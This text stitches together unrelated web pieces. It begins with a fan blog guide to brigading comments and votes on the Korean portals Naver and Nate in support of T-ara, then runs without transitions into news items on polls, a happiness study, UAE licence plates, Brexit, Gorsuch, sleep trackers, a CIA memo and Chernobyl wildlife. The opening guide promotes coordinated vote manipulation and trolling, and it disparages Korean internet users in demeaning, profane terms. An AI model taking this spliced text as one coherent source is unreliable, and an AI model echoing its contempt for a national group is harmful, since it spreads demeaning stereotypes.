Naver will be discussed first, because it’s easier to use. Here’s the top of a Naver article about how T-ara are excellent and won’t disband any time soon and if you don’t like it you can basically just suck it up and deal with it. Obviously this type of article is fertile ground for irritating Korean netizens. The stuff in the boxes above the article heading is font type and size selection, and also a button for printing (why?), so you can ignore it, it’s not an up/downvoting tool. Instead, look for these buttons at the bottom of the article.
Here you can share the article, which is the button on the right. The left button is to like the article and you need a Naver username for this (more on that below), but you don’t need a Naver username to share or leave comments, you can do that through Twitter or Facebook.
If you get this message, it’s saying that you need to have popups enabled on Naver to do article sharing. You’ll probably get your browser’s popup blocker notification showing up at the same time, from here you should be able to find an option to enable popups on Naver.
Clicking “share” gives you a choice of social networks to share to. You’ll need to be logged into these social networks to complete the sharing process.
Below the demographic information and some other messages are the article comments. The below comments are in English and Chinese and have been left by fans who have followed this process, so Kpopalypse readers need not submit themselves to the disgusting sight of actual Korean netizen comments which we’ve all seen far too much of in our lives.
You can upvote and downvote comments with the thumbs up and thumbs down icons under each comment. Be sure to upvote anything pro T-ara as it will cause maximum annoyance to Korean netizens as well as any netizen comment translating sites. Also don’t forget to downvote any nasty Korean comments because nobody needs to see those. You will need to be logged in to do this.
If you can’t read Korean and want to know if you should be upvoting or downvoting Korean comments, don’t worry about copy-pasting into Google Translate as Naver has its own in-built translation link, which is highlighted below in the red box. Click this and the text will be auto-translated, it works about as well as Google Translate most of the time (i.e not great) but should be enough to give you an idea about whether a comment is positive or negative and therefore whether you should upvote or downvote it.
If you’d like to leave your own comments, do so in the below box.
Comments have a 300 character limit. The text in the box, which can be typed over, is a statement asking you to not defame others, break copyright or say anything nasty so as to generate “a healthy discussion culture and a high quality commentary culture”. Make sure you abide by these rules (unlike hypocritical Korean netizens, who never do) and only post positive uplifting comments about T-ara. Clicking the purple box will bring up a popup asking you to log in if you haven’t. You can start a Naver account if you want, but it’s a lot easier to login through Facebook or Twitter, below is the popup that allows you to do this.
That’s all you should need to know to get started, it’s fairly easy. Very successful upvoting campaigns will both annoy netizens as well as generate a pleasing “I’m taking my bat and ball and going home” result like this from translating sites:
USING NAVER FOR ARTICLE VOTING
Of course, if you’d like to go that extra step and upvote positive T-ara articles to combat human-garbage Korean netizens who might try to bury them completely, here’s how to do it.
Clicking the upvote button will generate the above prompt which is asking you if it’s okay to go to the login page, so click OK for this.
From here, just sign in through a Facebook account. A prompt will come up where Facebook asks you to share data with Naver, click okay to that.
Then Naver will take you to this page, where you have to pick a username for yourself on Naver. Don’t use a capital at the start of your username like I did in this screenshot! Lower case only. Once this is done, you’re good to upvote T-ara articles so nasty Korean netizens don’t bury them!
USING NATE TO LEAVE COMMENTS
Nate is the other main Korean news portal site and it has a slightly higher difficulty level for non-Koreans because the layout is a bit messier and more confusing, and there’s also a little less English on the site generally. However it’s also where the trashiest of T-ara haters hang out so it’s definitely worth invading, even though the site is less popular than Naver there is a lot of untapped potential for T-ara support here. Let’s explore Nate and look at the aspects T-ara fans need to know.
Here’s the top of a Nate article about how the ever-relevant Jiyeon from T-ara wears sunglasses at night. Once again the little boxes on the right hand side just above the image are only font size control so ignore them. Also ignore Nate’s super-distracting sidebar which is even more annoying and pointless than my own, and look for these buttons below the article:
In the middle are your upvote and downvote buttons, you’ll need a Nate account to use them. The other buttons on the left allow you to share the article via Facebook or Twitter. Once again you’ll need to enable popups on your browser for Nate to allow sharing to Twitter, but Nate isn’t as user-friendly as Naver won’t tell you that you need popus turned on, it’ll just sit there and refuse to do anything when you click the Twitter button until you figure out what’s wrong. Once you’ve switched your popups on for Nate, you can share away:
The comments box for Nate looks like this, and has a generous 1000-character limit:
The three login icons for Nate, Facebook and Twitter are above the comment area, so log in through here. Clicking anywhere in the comment area or the submit button on the right will also invite you to log in via Nate, Twitter or Facebook, or sign up at Nate.
Once again you’re better off using Facebook or Twitter to sign in unless you’re very good at navigating Korean-only pages.
Here is what a comment looks like on Nate. At the right are the upvote/downvote buttons so be sure to upvote anything that is positive about T-ara to cause maximum irritation. Underneath the comment is where you can leave a reply to someone else’s comment. The reply then appears like this, at the bottom.
Easy – now you can troll Korean netizens to your heart’s content.
MAKING A NATE ACCOUNT FOR ARTICLE VOTING
Sometimes leaving comments isn’t enough. Korean netizens are crafty and like to bury articles they disagree with, using sneaky downvoting. Of course we can rectify this with righteous upvotes, but to upvote the article itself, you’ll need to make a Nate account, Nate won’t allow logging in through other social media for this. If you attempt an upvote without having a Nate account you’ll get the following prompt:
The message is asking you if it’s okay to direct you to the login page, so click OK for this.
From left to right:
“stay signed in” check box
find a Nate ID
I forgot my password because I’m a trashy netizen who can’t retain simple thoughts
sign up to Nate (in bold)
some IP security bullshit
Click on the bold “sign up” text and we’re good to start making an account on Nate.
This message says that you must use your real name when using Nate, so be sure to do this so the Nate thought police don’t scrub away your hard work. Click the red box in the middle of the three boxes to continue.
This page is your typical “sign your life away” bullshit legal page. I won’t bother to translate it all in detail, because it all basically means “our way or the highway”, so you have no choice but to follow the steps if you want to make a Nate account so it really doesn’t matter what it says. Tick the first three checkboxes, and the fourth if you want.
The first box says you agree to Nate collecting and using your personal information for whatever the fuck they want
The second box says you agree to the Terms Of Use (i.e EULA-type shit nobody reads)
The third box is you again giving permission for Nate to fuck you up the ass any way they choose later by using your personal info
The fourth box says that Nate will send you email, and you can opt out of this, but they’ll send it to you anyway regardless if they feel like it because fuck you
Then you have to fill out a really intrusive page where they ask you everything:
From top to bottom:
The user ID you want to use on Nate, between 6-40 characters (you can check ID availability with the red box)
password
confirm your password
your name (no spaces!)
email
phone number
gender (male or female, because there are only two genders)
birthdate
some security bullshit
If you fill it all out and get a message like this:
…it probably means your user ID already exists, so pick another. However, this message sometimes comes up in error because Nate is a phenomenally buggy piece of shit, so I don’t know, just try to change something and see how you go. Eventually with luck you’ll reach the following screen:
This step is authentication of your account through your mobile phone. I didn’t go through with this final step because fucked if I’m going to give some overseas shitcunts my mobile phone number, I’ll probably start getting unsolicited SMS from some wacky Korean religious cult leader who controls the government, fuck that. However if that sort of shit doesn’t bother you, go right ahead. Anyway if you made it this far you should be fine.
Hillary Clinton leads New Jersey Gov. Chris Christie and other Republican presidential contenders in Iowa by double digits, according to a new poll.
Forty-eight percent of Iowan voters support Clinton compared to 35 percent for Christie, according to a Quinnipiac University poll released Thursday. That’s a reversal of December’s poll in which Christie topped Clinton 45 percent to 40 percent.
Story Continued Below
The former secretary of state also leads Kentucky Sen. Rand Paul 49 percent to 39 percent, Texas Sen. Ted Cruz 51 percent to 35 percent and former Florida Gov. Jeb Bush 51 percent to 37 percent.
( PHOTOS: Who’s talking about Hillary Clinton 2016?)
Over half — 55 percent — of Iowa voters say Clinton would make a good president, making her the only listed candidate to receive a positive score.
Iowans aren’t feeling as warmly toward the current president. President Barack Obama has an approval rating of 39 percent, Quinnipiac found.
The telephone survey of 1,411 registered voters was conducted March 5-10 and has a margin of error of plus or minus 2.6 percentage points.
But new research shows that when we are happy, we deliberately seek out activities like doing household chores, working and queuing to dampen our spirits.
The US researchers said that while it may seem odd that we seem to try to sabotage our happiness, it may be nature's way of ensuring we get mundane tasks done.
Research shows when we are happy, we deliberately seek out activities that dampen our spirits, like the housework, working and queuing at the post office. While it may seem odd that we seem to try to sabotage our happiness, the researchers said it may be nature's way of ensuring we get mundane tasks done
WHAT THE STUDY FOUND Not surprisingly, people were drawn to mood-boosting activities when they were down. Playing sport, country walks and eating and drinking were all more popular when they felt low. When they were in a good mood, they didn't revel in their happiness. Instead, the did their chores and other activities that took the edge off it. 'Imagine an average individual trying to decide what to do on a Sunday afternoon,' said researcher Maxime Taquet. 'If that person was particularly unhappy in the morning, she would be twice as likely to go for a walk in nature in the afternoon than if she was particularly happy. 'Likewise, if that person was particularly happy in the morning, she would be about 30 per cent more likely to clean up her apartment in the afternoon than if she was particularly unhappy that morning.'
Researchers from Harvard Medical School in Boston looked at data provided by almost 30,000 men and women who had downloaded an app that quizzed them at regular intervals - about what they were doing and how they felt.
The volunteers, who had an average age of 28, typically provided data over the course of a month.
Not surprisingly, they were drawn to mood-boosting activities when they were down.
Playing sport, country walks and eating and drinking were all more popular when they felt low.
When they were in a good mood, they didn't revel in their happiness. Instead, the did their chores and other activities that took the edge off it.
While it may seem odd that we seem to try to sabotage our happiness, the researchers said it may be nature's way of ensuring we get mundane tasks done.
'There are many factors that influence our everyday activities, from financial considerations to social norms to political constraints,' the authors wrote in a study published in the journal the Proceedings of the National Academy of Sciences.
'Yet most theories of motivation have highlighted the crucial role played by negative and positive affective states.'
Not surprisingly, people were drawn to mood-boosting activities when they were down. Playing sport, country walks (pictured) and eating and drinking were all more popular when they felt low
When they were in a good mood, they didn't revel in their happiness. Instead, the did their chores (pictured) and other activities that took the edge off it. The researchers said that when we are feeling good, our thoughts may turn how to have a happy future
WHAT IS THE HEDONIC PRINCIPLE? Human behavior is believed to be guided by the hedonic principle. This says our choices of activities aim to minimize negative affect and maximize positive affect. When they feel bad, most people try to decrease their negative emotions by choosing to engage in activities that make them feel better like, eating comfort food and getting support from friends. The researchers from Harvard found the choice of everyday activities follows this principle. When we are happy, we deliberately seek out activities that dampen our spirits, like the housework, working and queuing at the post office.
Researcher Dr Maxime Taquet that when we are feeling good, our thoughts may turn how to have a happy future.
This could give us the motivation we need to do the work, chores or other activities that will give our finances or health a boost in years to come.
She said: 'Imagine an average individual trying to decide what to do on a Sunday afternoon.
'If that person was particularly unhappy in the morning, she would be twice as likely to go for a walk in nature in the afternoon than if she was particularly happy.
'Likewise, if that person was particularly happy in the morning, she would be about 30 per cent more likely to clean up her apartment in the afternoon than if she was particularly unhappy that morning.'
Writing in the journal the researchers added that doing chores may help us maximise our long-term welfare.
'A large body of work has consistently demonstrated the importance of sleeping, employment and living in a reasonably clean and organised home on health,' the researchers said.
Mail-in
Pick up a mail-in test from any FWP office or license provider.
Study the bear identification information included with the test.
Fill out and return the test postcard to FWP Headquarters. If you don't pass, FWP will mail you another test. If you pass, you will receive a certificate in the mail.
Present your certificate to a license provider to purchase your black bear license.
Online
Download and read the Bear ID tutorial.
Take the online test. A passing score will immediately generate an online certificate.
If you have an ALS number: Click the Submit to Licensing button to attach your certificate to your ALS licensing record so you don't have to physically present your certificate to purchase a license. You can also print it out.
If you do not have an ALS number: Print out your certificate and keep this in your records. You will need to present your certificate to a license provider to purchase your black bear license.
Number 5 fetched $6.75 million, now the UAE is likely to set another record.
But nowhere is the craze for a unique plate more intense than in the United Arab Emirates, the oil-rich Persian Gulf nation that holds the world record for the six most expensive plates.
Here, it's all about how low you can go -- with people battling it out at auctions to win the chance to show off license plates with the lowest digit.
The numbers "5" and "7" have already been snapped up, sold for 25 million dirhams ($6.75 million) and 11 million dirhams ($2.97 million) respectively.
Next week, the country will put up for auction the mother of all vanity plates: the number "1." It is expected to immediately set a new record for the most expensive plate in the world.
"As low as the number goes, as high the price goes also," said Abdullah Al Mannaei, who runs the license plate auctions in the capital city, Abu Dhabi.
"If it's a two-digit number, if it's similar like '99' or '22,' that goes (for) a higher amount."
Don't Miss More news from CNN in Arabic
More news from CNN in Arabic Marketplace Middle East
Marketplace Middle East John Defterios' blog
It's no surprise that license plate craze has such a grip on the United Arab Emirates. The tiny nation, slightly smaller than the U.S. state of Maine, is prone to thinking big.
It is already home to the world's largest mall, the world's largest tower, and -- despite being in the Middle East -- boasts the largest indoor snow park in the world.
Talal Khouri, a stock broker in Abu Dhabi , is the proud owner of "5" and "7." He sheepishly admits that yes, it's a status thing.
The license plate "5" hangs from his shiny red Rolls Royce. An expensive car, but still, 10 times less so than the plate itself.
It's not all ego though. The money that the government raises auctioning off plates goes to a fund that helps victims of car accidents.
Abu Dhabi has held five such auctions, selling 300 plates and raising an astonishing $56 million.
For the business savvy, there's an added attraction: it's a good investment.
"I have a number plate on my car, which was worth 35,000 (dirhams) four years ago," Al Mannaei said. "And I have an offer now for 400,000."
Khouri has his eyes set on snagging the number "1," but he is being practical about how much he is willing to spend.
"Um, I (will) not pay more than, maximum 15 (to) 20," he said.
Fifteen to 20 million?
"We would be like Norway. We would pay but have no say.”
This was the essence of the argument used by supporters of Remain to deter the British people from voting to leave the European Union, referring to Norway’s membership of the European Economic Area (EEA) through the European Free Trade Association (EFTA). But is Norway’s arrangement with the EU really that bad? The short answer is no.
Most obviously, whether you ask the UN or the OECD, Norway enjoys the highest standard of living in the world. If the Norwegians have not been on the top of such lists, the Swiss usually have. Even Iceland, despite the economic difficulties the country suffered over seven years ago, has outranked Britain and almost all other EU members on such terms. And the three countries have one particular thing in common: while Switzerland is not in the EEA, they are all members of EFTA and reject EU membership.
Read more: When Making your Mind Up, remember Eurovision is nothing to do with the EU
Those suggesting life outside the EU would be disastrous by pointing to Norway, Iceland and Switzerland must therefore explain why they are so prosperous. But the other argument used by Remain campaigners – that the EFTA/EEA countries must adopt all EU laws and pay a high “membership fee” to the EU budget for access to the Single Market, while being unable to influence the laws they must adopt – also demands a correction.
First, the EFTA/EEA countries have not adopted every EU law through the EEA Agreement. No study supports that claim. In fact, research by Iceland’s foreign ministry and the EFTA Secretariat in Brussels found the percentage to be more like 10 per cent. Moreover, EU laws don’t become active in the EFTA/EEA countries unless they’re first implemented by their domestic institutions.
Read more: Ignore EU scaremongers: Why Britain would thrive post-Brexit
Second, unlike EU members such as Britain, the EFTA/EEA countries sit in their own right at global tables where international rules are set. These rules, made by bodies like the World Trade Organisation (WTO), form a large part of the EU’s legislation and often require unanimity when first agreed (giving the likes of Norway an opportunity to influence them at source). EFTA/EEA countries have the chance to give their input at EU level too and they sit in the EEA Joint Committee, which decides which EU laws are incorporated into the EEA Agreement, meaning each EFTA/EEA country can veto the adoption of individual EU laws.
Third, there is no Single Market “membership fee” for EFTA/EEA countries. The three EFTA/EEA countries have, however, paid development grants (negotiated with the EU every five years) to EU countries in eastern and southern Europe and also voluntarily pay to participate in several EU programmes such as Erasmus. But there is no legal obligation for them to do this. Moreover, Iceland gets more money back from the EU in the form of grants.
Read more: Osborne is entirely wrong: Voters would gain from Brexit
How does this compare with Britain in the EU? Britain is represented by the EU at global bodies like the WTO, which set rules the EU must implement. Moreover, Britain is subject to nearly all EU legal acts, which become legally binding as soon as they are agreed by EU institutions, and the UK only has a veto over very limited and fast diminishing areas. Finally, despite having a seat at the EU table, Britain usually gets outvoted when it really matters.
What Britain pays to the EU budget is largely used to finance the day-to-day running of the EU, like agricultural subsidies (mainly to continental farmers), officials’ salaries and benefits, and the Brussels-Strasbourg travelling circus. Meanwhile, the EFTA/EEA countries fund specific development projects and programmes they choose to participate in. Moreover, unlike Iceland, for example, Britain pays more money to the EU than it gets back.
Read more: Osborne has made a fatal error by showing his Brexit hand
It’s also important that the EEA Agreement's scope is limited to the Single Market. Many very significant sectors are excluded, like foreign affairs, judicial and home affairs, economic and monetary issues, trade agreements, taxation, customs, borders (Schengen is not part of the EEA), fisheries and agriculture. For Britain, most of these sectors are subject to EU supranational authority.
Are the people of Norway, Iceland and Switzerland happy with their existence outside the EU? For more than 11 years, EU membership has been rejected in every opinion poll published in Norway. The most recent one, at the end of last year, had an overwhelming 72 per cent against EU membership. Meanwhile, every opinion poll in Iceland for over six and a half years has had a solid majority against EU membership and the vast majority of the Swiss are happy with the bilateral agreements they negotiated with the EU after rejecting EEA participation in a 1992 referendum.
Read more: Brexit: Don't bank on the Swiss model working for Britain
This isn’t to say that Britain will simply end up with a copy of Norway’s relationship now it has voted to leave. In fact, a series of bilateral treaties, the so-called Swiss model, may be better because it wouldn’t require the adoption of EU laws. Further, the UK will no doubt be able to secure a better arrangement than both countries, as even the Remain campaign admits.
But it’s not for a lack of trying.
Take former Red Sox pitcher Curt Schilling, for example, who went on Fox Business Network and tried — without much success — to explain away a recently discovered tape of Trump talking to a group of preteen girls and saying about one of them: “I am going to be dating her in 10 years. Can you believe it?”
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Schilling said he wasn’t bothered by the comment and doesn’t understand how others, including host Trish Regan, could be.
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“How many times have you looked at a young man and said ‘Wow, he’s a beautiful young man’ or ‘Wow he’s a gorgeous young man’?”
Regan responded: “Zero.”
Schilling said that’s a “lie,” adding, “There’s no way you haven’t seen somebody else’s son and said ‘Wow, he’s beautiful.’”
But Regan wasn’t playing along: “You’re on your own on this one.”
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Afterward, Schilling tweeted this:
If intimating a young lady will grow up to be stunningly beautiful = child molestation you're liberal and voting for a scumbag — Curt Schilling (@gehrig38) October 13, 2016
Schilling is promising to get back to baseball on his radio show. He tweeted that this Saturday’s show will focus on “the story of 2008 and my parting with the owners of this team.”
If early reaction holds, Trump's hunch rings true.
In the hours since Gorsuch's nomination was announced, dozens of conservative Christians have hailed the judge as the second coming of the late Justice Antonin Scalia, a favorite figure of the religious right for decades. Scalia died last February, and his seat has since been open.
Russell Moore, who leads the ethics and public policy arm of the Southern Baptist Convention, called Gorsuch a "brilliant and articulate defender of constitutional originalism."
Moment of prayer last night after my nomination of Judge Neil Gorsuch for #SCOTUS . It was an honor having Maureen and Fr. Scalia join us. pic.twitter.com/caYOwmeMuG
"His career is one that exemplifies the very best of intellectually robust conservatism, judicial restraint and faithfulness to the Constitution," said Moore, whose denomination has some 17 million members.
In nominating Gorsuch, Trump fulfills a campaign promise to a powerful voting bloc, white evangelicals, a whopping 81% of whom voted for him. Overall, white evangelicals composed 26% of the electorate in 2016, according to the Pew Research Center
Gorsuch, who attends an Episcopal church, has been on the US Court of Appeals for the 10th Circuit since 2006, when he was nominated by then-President George W. Bush. In his acceptance speech on Tuesday, the judge said his faith and his family "are the things that keep me grounded at life's peaks and have sustained me in its valleys."
If conservative Christians praised the judge, particularly for his opinions on two religious freedom cases, atheists just as quickly condemned him. Both non-believers and evangelicals view the Supreme Court as essential to their political future, and the early clash between two of the country's largest religious groups forebodes a fierce battle over Gorsuch's Senate confirmation.
"Now more than ever we need a Supreme Court that will courageously uphold our foundational rights, not return us to a time of greater Christian privilege," said Robyn Blumner, head of Center for Inquiry, a humanist group headquartered in New York. "There is little evidence that Judge Gorsuch is up to this crucial task."
Though non-religious Americans are not nearly as politically organized or ideologically united as evangelicals, they comprise a large and growing swath of the population. Nearly 1 in 4 of American adults is a "none," as in "no religious affiliation," and some say they have been galvanized by Trump's election.
Since November 8, hundreds of first-time donors have contributed to the Secular Coalition for America, a lobbying group that represents 19 secular and atheist groups , said Larry Decker, the coalition's president. Annual donors have increased the size of their gifts as well.
"The Supreme Court is extremely important to the secular community in America, and we are extremely concerned about this nominee," said Decker. "We are going to lobby as hard as we can and activate our grassroots network."
A 'premium on life'
Many evangelicals voted for Trump precisely because of the Supreme Court, said Ed Stetzer, executive director of the Billy Graham Center at Wheaton College in Illinois.
In a Christianity Today article, 70% of white evangelical voters said the Supreme Court appointment was a top election concern, Stetzer wrote in a column . "The Supreme Court nomination is a critical position to fill in light of the changing political and societal changes we have been facing."
Other scholars have contested that argument , citing a 2016 LifeWay Research poll in which only 10% of white evangelicals listed Supreme Court nominees as their top issue when voting for president. Nearly half said improving the economy or national security was their top issue.
In any case, conservative Christians were clearly thrilled on Tuesday night, when Trump announced Gorsuch's nomination.
James Dobson, founder of Focus on the Family, an evangelical media ministry, said he was "greatly encouraged" by Trump's choice for the Supreme Court. The Rev. David Jeremiah, senior pastor of the Shadow Mountain Community Church in California, called Gorsuch a "reliable conservative." Bill Donohue of the Catholic League said the nominee will "put a premium on our two most important rights: the right to life, from fertilization to natural death, and religious liberty for all."
Even fierce Trump critics praised his Supreme Court pick.
"There's no question that, for evangelical Christians, the Supreme Court nomination and all the issues that flow from the Supreme Court, were the most important reasons to support Trump," said Peter Wehner, a senior fellow at the Ethics and Public Policy Center and an evangelical who vociferously opposed Trump. "And Gorsuch is an outstanding pick."
Gorsuch's religious record
For conservative Christians, the most important cases in Gorsuch's judicial record concern religious freedom, an area they believe is under attack in a rapidly secularizing country.
In Hobby Lobby Stores, Inc. v. Sebelius , Gorsuch held that a company's rights to religious freedom trump the Affordable Care Act's contraception mandate. That is, business owners who have sincere religious objections to contraception do not have to offer cost-free coverage to employees. The Supreme Court agreed, extending the concept of religious freedom for the first time from individuals to corporations.
In a related case, Gorsuch sided with Catholic nuns, the Little Sisters of the Poor, who also objected to the contraception mandate, as well as the means the Obama administration offered to gain an exemption from it.
And while he has not ruled directly on abortion, Gorsuch has argued in favor of allowing a state to block funding of Planned Parenthood and written a book arguing against the legalization of assisted suicide and euthanasia.
Those arguments make many atheists nervous about Gorsuch.
"He has favored religious institutions over individuals," said Decker, referring to the Hobby Lobby case. Secularists are also wary of government interference in the "right to die," and have celebrated recent laws, like one passed in Washington last year , that allow terminally ill people to hasten their deaths.
THE CANDIDATES (and their sensors)
Jawbone Up24 (3d accelerometer)
(3d accelerometer) Basis Peak (continuous heart rate, skin temperature, perspiration, 3d accelerometer)
(continuous heart rate, skin temperature, perspiration, 3d accelerometer) S+ by ResMed (movement as read by the echo-location of low-power signals off the body)
(movement as read by the echo-location of low-power signals off the body) Sleeprate (EKG Polar H7 bluetooth chest strap)
(EKG Polar H7 bluetooth chest strap) Garmin 920XT (3d accelerometer)
(3d accelerometer) FitBit (all): (3d accelerometer)
(3d accelerometer) Beddit (version 1): (bio-electrical impedance)
HOW TO TRACK SLEEP
At a bare minimum, you want to know how long you slept and preferably how many times you woke up. Many devices attempt to provide sleep data but all they can do is say that either you’re “really not moving”, “you’re sort of moving a bit”, or “you’re probably awake” because that’s all the data they can get from the 3d accelerometer. But if you are serious about sleep, you really want to know about REM and deep phases and try to maximize those. REM sleep refreshes the brain and deep sleep refreshes the body. Only three of the five give you that REM/deep information and only two of the three do it reliably.
(screen clip from Sleeprate)
There is of course a whole other issue of whether or not the data they present is actually clinically valid compared to the gold standard of brain-wave analysis (like the old Zeo used to use.) I don’t have clinical sleep tools here (or my old Zeo) to cross-reference against so I always fall back on the idea that once you have a tool you like at least you can reference its data over time and that still helps you move in the right direction.
SCORES
Shown in the video
In order to score the devices, I looked at their overall balance of data quality, data presentation, ease of use, and mental overhead in using the system daily. Here are the scores. NOTE: This is for SLEEP TRACKING ONLY. This is NOT about sport, activity, or smart-phone functionality.
Basis Peak: I want to like this watch. I’ve tested it for a month. And for sleep, it’s pretty darned good. It senses your sleep and wake periods automatically without you doing a thing. However, it often breaks sleep up into 2-6 “chunks” that have to be reassembled and that often don’t assemble correctly on the mobile app (although they’re often easy to assemble on the web app as demonstrated in the video). So if you really need pretty decent accurate sleep info and want the lowest amount of fussing (and like the idea that you don’t have to turn sleep tracking on and off), the Peak is worth exploring. Another major down-side: you can’t get the data out. Ever. They’ve talked about how they’re building APIs and connectors “real soon now” for a few years. I don’t believe it will ever happen. So basically your data is trapped. (Also be warned, like the model that came before it, it’s still a lousy fitness and sport tracker, something I’ll cover in an upcoming post.)
Grade: C
C: S+ by ResMed: this contactless system sits at the corner of your bed and bounces sound-waves off your body all night and uses the echo-location to figure out your respiration rate and movement. In theory it can then extract your REM, deep, light, and wake states. To me, that seems pretty fantastic since it’s contactless…but they claim it works. I’d love to see third party validation. To use it, you still have to turn it on at night and answer some questions and then you have to wake up and turn it off in the morning. I’d prefer to see some sort of auto-sensing in place for sleep tracking. People don’t need “one more thing” to think about. This is the death of wearable tech – having to deal with the care and feeding of the system.
Grade: C
Jawbone Up24: Simple to use, and nice UI on the mobile app. Also has great integration to other applications. It also has great battery life. The downside is that it doesn’t track REM or Deep sleep. I’m hoping they’ll fix this in the Up3, due out soon. For real sleep tracking, it’s not that great given that it’s missing phases of sleep.
Grade: D
Sleeprate: I’ve tried this thing for a month. It has been a month of frustration, error messages, server failures, and pesky email messages trying to coach me back to using it. I hate that it uses a Polar H7 Bluetooth EKG strap since that’s both uncomfortable and also one more step to take before crawling into bed. When it *does* work, the reporting is excellent and the data is probably even pretty good given that it’s pulling from an EKG strap but it still gets an F because it’s so damned unstable and I hate that you have to use a Polar HR strap. That’s not a useable long-term sleep tracking solution for that reason alone.
Grade: F
Garmin 920 XT: All of the Garmin products use this terrible sleep tracking module although I have not done a review of the VivoSmart+HR strap because you can only have one source of sleep and step data and I prefer to have the watch over the VivoSmart. This very limited sleep tool is not worth using. It’s too bad because it sullies an otherwise awesome sport tracking watch (I’ll cover the sport tracking functions in an upcoming video – it kicks ass there.)
Grade: F
Not Shown in the Video
Beddit version 1: This is a touch-less, device-less system which is a strip that sticks to your mattress under your sheet. It uses electrical impedance to pick up your heart rate and monitor your sleep. Version 1 was running Bluetooth 4.0 Legacy (i.e. not BTLE), so there was this terrible workflow involved: Open phone. Launch app. Go to iPhone Settings. Find Bluetooth. Connect to Beddit. Go back to App. Connect to Beddit. Answer a bunch of questions. Hit SLEEP. In short, it was unuseable and unsustainable. Version 1 was definitely an “F”. HOWEVER, I’ve spoken to Lasse (the founder/CEO) and they’re in the middle of revising this and rebranding it in the partnership with MisFit and v2 was supposed to be shipped in October but I haven’t confirmed that the MisFit Beddit IOS version is v2 or not. The revised version was supposed to have sorted out a better BTLE connection that would allow the app to automatically connect to the Beddit (the same way that the S+ auto-connects between the iPhone app and the S+ device.) I’m hopeful that this new version 2 will be a better device, including some very powerful reporting.
Grade: F
F: FitBit (all): I didn’t have any Fitbits in the video (I’ve had the One, Ultra, Flex, Force, and am testing the new ChargeHR). I stopped using all of them for sleep tracking for the same reason – no ability to extract anything useful from their minimal sleep logs. They have tiny little graphs that don’t define sleep phases, so they’re not that useful for anybody serious about tracking sleep.
Grade: F
Without further ado, here is the video. Please excuse the rough audio. I’ll work on improving that for the upcoming series on performance sports tracking.
Edit Notes:
1. After further consideration I downgraded the Basis from B to C because I had forgotten that the data is locked in and there is and never has been any good way to get the data out.
As previously discussed, senior CIA analyst Ray Cline covertly accumulated a number of press contacts whom he provided information to in order to ‘improve rapport, understanding and the Agency’s public image.’ While some of the people on the list were well credentialed and had pasts or futures associated with the U.S. Intelligence Community, documents reveal that at least one of the press contacts briefed by Ray Cline was a suspected foreign agent.
This makes the final note of the memo praising Cline’s press contacts ironic and questionable, at best.
While the memo describes some of his contacts with other members of the press, it provides no information about his contacts with Tad Szulc beyond the fact that they happened. However, according to declassified CIA documents, it’s known that Szulc was a suspected foreign agent, who was not only collecting information for the Soviets or the Cubans, but part of an active measures campaign designed to sabotage AMTRUNK, “one of the most important anti-Castro operations.” In the mid-1970s, one senior CIA officer noted that “a Soviet agent could not be more beneficial to the Soviets and the Communist cause than Szulc has been.”
Szulc had been suspected of being a foreign agent since the year after he came to the United States. It wasn’t until eleven years later, however, that he brought himself to CIA’s attention. In 1959, he presented himself to the Agency in Santiago, Chile and falsely claimed to have been cleared, requesting contacts with an Agency representative. Szulc was so persistent and seen as so dangerous that a widespread warning was issued through the Agency.
Despite decades of interest and focus on Szulc’s “anti-Agency activities,” as late as the 1970s CIA was unable to clear up the status of Szulc’s foreign connections. None of this, it seems, stopped Cline from briefing Szulc.
Despite his early anti-Communist leanings, the Agency noted that he had become increasingly critical of the Agency. The essential allegations, however, had been there from the beginning. In 1948, a number of sources indicated to the FBI that Szulc had been dispatched by Polish intelligence agencies. The Agency also believed that Szulc’s marriage had been arranged and performed for the sole purpose of granting him permanent residency in the United States.
While Szulc was eventually given an official Agency contact, it wasn’t Ray Cline but rather Albert Davies.
Szulc’s next official contact was similarly not Ray Cline but rather Alfonso Rodriguez. Based on his provided statement, Rodriguez was unsure of what to make of Szulc.
While the Agency acknowledged that the evidence that Szulc was a foreign agent is limited, and aside from statements from confidential sources largely circumstantial. However circumstantial the evidence, Szulc was under suspicion and his contacts with Cline appear to have been unsanctioned. Cline had been carrying out his clandestine press contacts since 1957, and only one entry in the memo is listed as official. The official contact was with Alsop and not Szulc, casting further doubt on whether Cline’s contacts were sanctioned. Given the security and counterintelligence risk, the concerns were real.
If he were a foreign agent, then Szulc’s aid to the Soviets was considerable. He broke the story of the Bay of Pigs invasion, and according to later CIA reports information which was withheld by his editors at the New York Times soon found its way to the Soviets. Other circumstantial but extremely suspicious correlations are brought up by the Agency. Szulc’s daughter, Nicole, had apparently aided Philip Agee in his research for Inside the Company: A CIA Diary. Understandably, the Agency wondered if Szulc hadn’t helped his daughter in her research.
A FOIA request has been filed to learn more about Cline’s contacts with members of the press, including Tad Szulc. In the meantime, you can read Cline’s memo below.
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Stormy weather in the North Atlantic is set to bring balmy weather to the world’s northernmost point.
Temperatures at the North Pole could hit 40 degrees, according to Discovery News, which would be about 50 degrees higher than average for this time of year. Storms over Iceland and Greenland, fairly common in winter, are pushing warmer air to the Arctic region.
Fluctuations in temperature are actually not uncommon in the Arctic region, Mashable reports, but a 50 to 60 degree shift would be very notable. There have reportedly only been three other times since 1948 that temperatures in the North Pole have hit or risen above freezing in December.
These high temperatures could impact sea ice formations that are already at historic lows in other seasons.
This article originally misidentified a temperature reading as belonging to the North Pole.
April 26, 2016, 7:21 AM GMT / Updated April 26, 2016, 11:59 AM GMT By Alexey Eremenko
CHERNOBYL, Ukraine — The forests and fields near the abandoned site of the world's worst nuclear power plant disaster teem with animal life, proving that in some cases humans pose a bigger threat to animals than radiation.
The Chernobyl nuclear reactor blew up 30 years ago on Tuesday, sending a radioactive cloud over much of Europe and prompting the resettlement of 350,000 people from the area around the plant.
"Peace in absence of cars and tractors and an untouched forage base lets animals thrive," according to Yury Bondar, who supervises biological research in neighboring Belarus' Polesie State Radioecological Reserve, which was created following the 1986 disaster.
A wolf looks into the camera in the abandoned village of Orevichi, Belarus, on March 2. VASILY FEDOSENKO / Reuters
The population of wolves, elks and boars in the 19-mile-wide Chernobyl Exclusion Zone compares to those in official wildlife reserves across Ukraine, according to a 2015 study published in the scientific magazine Current Biology.
The wolf population is actually seven times bigger than in Ukraine’s official nature reserves, which indicates that the predators have plenty to feed on,said the study's coauthor Jim Beasley of the University of the Georgia's Savannah River Ecology Laboratory.
Some European bison, blissfully unaware of national borders after having been reintroduced in neighboring Belarus after a century of extinction in the wild, have also crossed into Ukraine.
